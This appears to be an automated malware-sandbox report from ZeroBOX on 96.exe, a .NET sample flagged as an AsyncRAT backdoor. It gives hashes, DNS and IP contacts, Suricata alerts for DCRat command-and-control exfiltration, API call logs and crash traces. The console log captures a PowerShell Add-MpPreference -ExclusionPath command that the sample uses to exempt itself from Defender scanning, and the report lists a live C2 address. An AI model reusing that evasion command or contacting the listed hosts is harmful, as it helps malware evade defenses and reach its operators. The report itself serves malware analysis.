popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

96.exe

Generic Malware task schedule ASPack Antivirus Malicious Library Malicious Packer ScreenShot AntiDebug PE32 PE File .NET EXE AntiVM
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Oct. 11, 2021, 9:55 a.m. Oct. 11, 2021, 9:59 a.m.
Size 258.5KB
Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 ea800644b9dfd027807447fdd98241aa
SHA256 0b5a4d65bd3424391e5f9bc5b6247635b8097005edb07f35eee3aef1d73e1b64
CRC32 FC122973
ssdeep 1536:OE6rDfeV86vw0aioiPpRyBW1YVqexCNIBjTbUraEhkwamw02sF:OLrDb6vwcoiPuBGexCUYaUnamw+F
Yara
  • PE_Header_Zero - PE File Signature
  • Generic_Malware_Zero - Generic Malware
  • IsPE32 - (no description)
  • Is_DotNET_EXE - (no description)
  • Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT

Name Response Post-Analysis Lookup
cdn.discordapp.com
A 162.159.135.233
A 162.159.134.233
A 162.159.129.233
A 162.159.130.233
A 162.159.133.233
162.159.129.233
IP Address Status Action
162.159.129.233 Active Moloch
164.124.101.2 Active Moloch
188.120.247.145 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.101:49198 -> 162.159.129.233:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:49209 -> 162.159.129.233:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:49217 -> 188.120.247.145:80 2033087 ET MALWARE Win32/DCRat CnC Exfil A Network Trojan was detected

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.101:49198
162.159.129.233:443 		C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2 C=US, ST=CA, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com a6:26:df:21:b9:4f:a7:fb:ae:8d:87:ce:fb:7d:2b:c6:50:8b:ff:da
TLSv1
192.168.56.101:49209
162.159.129.233:443 		C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2 C=US, ST=CA, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com a6:26:df:21:b9:4f:a7:fb:ae:8d:87:ce:fb:7d:2b:c6:50:8b:ff:da

Time & API Arguments Status Return Repeated

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: , script file, or operable program. Check the spelling of the name, or if a pat
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: h was included, verify that the path is correct and try again.
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: At line:1 char:17
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: + Add-MpPreference <<<< -ExclusionPath C:\Users\test22\AppData\Local\Temp\96.e
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: xe -Force
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: mmandNotFoundException
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : CommandNotFoundException
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: , script file, or operable program. Check the spelling of the name, or if a pat
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: h was included, verify that the path is correct and try again.
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: At line:1 char:17
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: + Add-MpPreference <<<< -ExclusionPath C:\Windows\SysWOW64\C_855\mobsync.exe -
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: Force
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: mmandNotFoundException
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : CommandNotFoundException
console_handle: 0x00000083
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x007d9068
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x007d8fe8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x007d8fe8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d1bd8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2158
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2158
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2158
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2358
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2358
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2358
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2358
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2358
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2358
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d1b98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d1b98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d1b98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2158
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2158
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2158
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d1798
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2158
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2158
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2158
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2158
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2158
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2158
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2158
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d24d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d24d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d24d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d24d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d24d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d24d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d24d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d24d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d24d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d24d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d24d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d24d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d24d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d24d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2418
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2418
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2418
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2418
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2418
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2418
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2418
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2418
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00443f70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

__exception__

 stacktrace: 
CopyPDBs+0x1b552 DllCanUnloadNowInternal-0x25a85 clr+0x1b1194 @ 0x728f1194
LogHelp_TerminateOnAssert+0x14061 GetPrivateContextsPerfCounters-0x53e1 clr+0x82ba1 @ 0x727c2ba1
mscorlib+0x2f45a5 @ 0x6ff345a5
mscorlib+0x2f46fc @ 0x6ff346fc
mscorlib+0x2f4693 @ 0x6ff34693
0x7214b7
0x7200d9
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72742652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7275264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72752e95
DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x728074ec
DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72807610
CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72891dc4
CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72891e67
CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72891f7a
_CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7289416a
_CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7376f5a3
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x743c7f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x743c4de3
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0xe0434f4e
exception.offset: 46887
exception.address: 0x76a7b727
registers.esp: 4255832
registers.edi: 0
registers.eax: 4255832
registers.ebp: 4255912
registers.edx: 0
registers.ebx: 8830192
registers.esi: 8086096
registers.ecx: 4001834085
1 0 0

__exception__

 stacktrace: 
0x7249e6
0x725f75
0x723421
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72742652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7275264f
LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x727c1838
LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x727c1737
mscorlib+0x2d3711 @ 0x6ff13711
mscorlib+0x308f2d @ 0x6ff48f2d
0x721d96
0x7200d9
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72742652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7275264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72752e95
DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x728074ec
DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72807610
CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72891dc4
CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72891e67
CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72891f7a
_CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7289416a
_CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7376f5a3
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x743c7f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x743c4de3
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 8b 01 eb 3e 8d 55 e0 0f b6 01 88 02 0f b6 41 01
exception.instruction: mov eax, dword ptr [ecx]
exception.exception_code: 0xc0000005
exception.symbol: mscorlib+0x324f62
exception.address: 0x6ff64f62
registers.esp: 4254776
registers.edi: 4254800
registers.eax: 0
registers.ebp: 4254812
registers.edx: 0
registers.ebx: 129202988
registers.esi: 4194364
registers.ecx: 4194364
1 0 0

__exception__

 stacktrace: 
CopyPDBs+0x1b552 DllCanUnloadNowInternal-0x25a85 clr+0x1b1194 @ 0x728f1194
LogHelp_TerminateOnAssert+0x14061 GetPrivateContextsPerfCounters-0x53e1 clr+0x82ba1 @ 0x727c2ba1
mscorlib+0x2f45a5 @ 0x6ff345a5
mscorlib+0x2f46fc @ 0x6ff346fc
mscorlib+0x2f4688 @ 0x6ff34688
0x6714b7
0x6700d9
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72742652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7275264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72752e95
DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x728074ec
DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72807610
CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72891dc4
CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72891e67
CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72891f7a
_CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7289416a
_CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7376f5a3
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x743c7f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x743c4de3
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0xe0434f4e
exception.offset: 46887
exception.address: 0x76a7b727
registers.esp: 2027224
registers.edi: 0
registers.eax: 2027224
registers.ebp: 2027304
registers.edx: 0
registers.ebx: 5045216
registers.esi: 4284712
registers.ecx: 3873039467
1 0 0

__exception__

 stacktrace: 
0x675f75
0x673421
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72742652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7275264f
LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x727c1838
LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x727c1737
mscorlib+0x2d3711 @ 0x6ff13711
mscorlib+0x308f2d @ 0x6ff48f2d
0x671d96
0x6700d9
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72742652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7275264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72752e95
DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x728074ec
DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72807610
CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72891dc4
CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72891e67
CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72891f7a
_CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7289416a
_CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7376f5a3
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x743c7f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x743c4de3
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 8b 40 0c c3 cc cc cc cc cc cc cc cc cc cc cc cc
exception.instruction: mov eax, dword ptr [eax + 0xc]
exception.exception_code: 0xc0000005
exception.symbol: system+0x70e4e3
exception.address: 0x6f9ce4e3
registers.esp: 2026208
registers.edi: 2026288
registers.eax: 0
registers.ebp: 2026300
registers.edx: 128687804
registers.ebx: 128684520
registers.esi: 128687292
registers.ecx: 128687804
1 0 0

__exception__

 stacktrace: 
0x6749e6
0x675f75
0x673421
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72742652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7275264f
LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x727c1838
LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x727c1737
mscorlib+0x2d3711 @ 0x6ff13711
mscorlib+0x308f2d @ 0x6ff48f2d
0x671d96
0x6700d9
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72742652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7275264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72752e95
DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x728074ec
DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72807610
CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72891dc4
CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72891e67
CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72891f7a
_CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7289416a
_CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7376f5a3
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x743c7f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x743c4de3
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 8b 01 eb 3e 8d 55 e0 0f b6 01 88 02 0f b6 41 01
exception.instruction: mov eax, dword ptr [ecx]
exception.exception_code: 0xc0000005
exception.symbol: mscorlib+0x324f62
exception.address: 0x6ff64f62
registers.esp: 2026168
registers.edi: 2026192
registers.eax: 0
registers.ebp: 2026204
registers.edx: 0
registers.ebx: 128684520
registers.esi: 60
registers.ecx: 60
1 0 0

__exception__

 stacktrace: 
0x674a0c
0x675f75
0x673421
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72742652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7275264f
LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x727c1838
LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x727c1737
mscorlib+0x2d3711 @ 0x6ff13711
mscorlib+0x308f2d @ 0x6ff48f2d
0x671d96
0x6700d9
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72742652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7275264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72752e95
DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x728074ec
DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72807610
CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72891dc4
CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72891e67
CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72891f7a
_CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7289416a
_CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7376f5a3
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x743c7f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x743c4de3
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 0f bf 01 eb 31 8d 55 e0 0f b6 01 88 02 0f b6 41
exception.instruction: movsx eax, word ptr [ecx]
exception.exception_code: 0xc0000005
exception.symbol: mscorlib+0x305ad2
exception.address: 0x6ff45ad2
registers.esp: 2026168
registers.edi: 2026192
registers.eax: 0
registers.ebp: 2026204
registers.edx: 0
